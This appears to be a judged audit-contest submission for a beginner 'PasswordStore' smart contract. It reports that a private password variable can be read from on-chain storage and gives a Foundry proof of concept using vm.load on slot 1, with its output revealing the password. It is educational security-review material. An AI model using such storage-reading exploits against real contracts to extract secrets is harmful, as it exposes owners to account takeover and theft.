First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can get the password

kamuik16

Summary

The smart contract has a private variable called password but no data on the blockchain is private because it can be retrieved using the slots. Below is a simple POC which uses a foundry cheat code to retrieve the password from the smart contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
​
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
import {DeployPasswordStore} from "../script/DeployPasswordStore.s.sol";
​
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
​
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
}
​
function test_i_can_get_the_private_password() public view {
bytes32 _passwordBytesUsingSlot = vm.load(address(passwordStore), bytes32(uint256(1)));
string memory output = string(abi.encodePacked(_passwordBytesUsingSlot));
console.log(output);
}
}

Output

Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_i_can_get_the_private_password() (gas: 8418)
Logs:
myPassword
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.66ms

Impact

The password is not protected and can be retrieved by anyone and can be used against owner.

Recommendations

Use off chain for private data or use hash functions to hash the password so no one can reverse engineer it.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.